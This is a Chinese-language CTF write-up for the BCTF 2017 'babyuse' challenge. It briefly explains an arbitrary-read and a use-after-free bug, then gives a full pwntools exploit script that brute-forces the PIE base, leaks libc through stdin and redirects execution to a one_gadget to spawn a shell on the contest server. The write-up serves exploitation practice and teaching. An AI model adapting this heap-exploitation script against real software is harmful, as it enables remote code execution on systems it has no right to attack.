• BCTF 2017 babyuse


    看到这个题目的名字,我就想起了0CTF被babyheap支配的恐惧233。

    在sub_12CE函数中存在两个漏洞,一个是任意地址读,一个是UAF漏洞,所以我的思路是先泄露全局变量stdin中的值,从而计算出libc基址,然后触发UAF漏洞,跳到libc中one gadget的地址,直接起来一个shell。

    由于程序开了PIE,所以需要爆破程序基址,32位程序也挺容易爆破的。

    from pwn import *
    
    DEBUG = 0
    
    one_gadget = 0x3ac69
    
    def buy(size, name):
        p.recvuntil('Exit
    ')
        p.sendline('1')
        p.recvuntil('QBZ95
    ')
        p.sendline('1')
        p.recvline()
        p.sendline(str(size))
        p.recvline()
        p.sendline(name)
    
    def select(no):
        p.recvuntil('Exit
    ')
        p.sendline('2')
        p.recvline()
        p.sendline(str(no))
        
    def rename(no, size, name):
        p.recvuntil('Exit
    ')
        p.sendline('4')
        p.recvline()
        p.sendline(str(no))
        p.recvline()
        p.sendline(str(size))
        p.recvline()
        p.sendline(name)
    
    def use(choice):
        p.recvuntil('Exit
    ')
        p.sendline('5')
        p.recvuntil('menu
    ')
        p.sendline(str(choice))
    
    def drop(no):
        p.recvuntil('Exit
    ')
        p.sendline('6')
        p.recvline()
        p.sendline(str(no))
        
    def leak(addr):
        rename(0, 15, p32(0xdeadbeef) + p32(addr))
        p.recvuntil('Exit
    ')
        p.sendline('5')
        p.recvuntil('Exit
    ')
        leak_addr = u32(p.recvline()[11:15])
        p.recvuntil('menu
    ')
        p.sendline('4')
        rename(0, 15, p32(0xdeadbeef))
        return leak_addr
    
    main_base = 0x56556413
    
    while True:
        try:
            if DEBUG == 1:
                p = process('./babyuse')
                libc = ELF('./libc.so.6')
            else:
                p = remote('202.112.51.247', 3456)
                libc = ELF('./libc.so')
                p.recvuntil('Token:')
                p.sendline('your_team_token')
    
            buy(15, 'A' * 15)
            buy(15, 'B' * 15)
            select(1)
            drop(1)
    
            leak_addr = leak(main_base + 0x2c6d)
    
            libc_base = leak_addr - libc.symbols['_IO_2_1_stdin_']
            goal_addr = libc_base + one_gadget
    
            rename(0, 15, p32(0xdeadbeef) + p32(main_base + 0x2c79))
            p.recvuntil('Exit
    ')
            p.sendline('5')
            guns_1 = u32(p.recvline()[11:15])
            p.recvuntil('menu
    ')
            p.sendline('4')
    
            rename(0, 15, p32(0xaaaaaaaa) + p32(main_base + 0x2c6d))
            rename(0, 15, p32(guns_1 + 24 + 24 + 8) + p32(main_base + 0x2c6d) + p32(goal_addr))
    
            use(1)
        except:
            p.close()
            pass
        else:
            p.sendline('cat flag')
            p.interactive()
            break

    babyuse下载

  • 相关阅读:
    Flask、Vue部署总结
    Recat教程(二)
    C第一个程序
    React教程(一)
    Flask+uwsgi+nginx 部署
    使用Dockerfile部署简单的应用
    Typescript搭建开发环境
    Typescript模块化/命名空间/装饰器
    Typescript的泛型/泛型接口
    修改git密码后,终端fatal: Authentication failed for'http://xxx/xxx.git'
  • 原文地址:https://www.cnblogs.com/1oner/p/6724155.html
Copyright © 2020-2023  润新知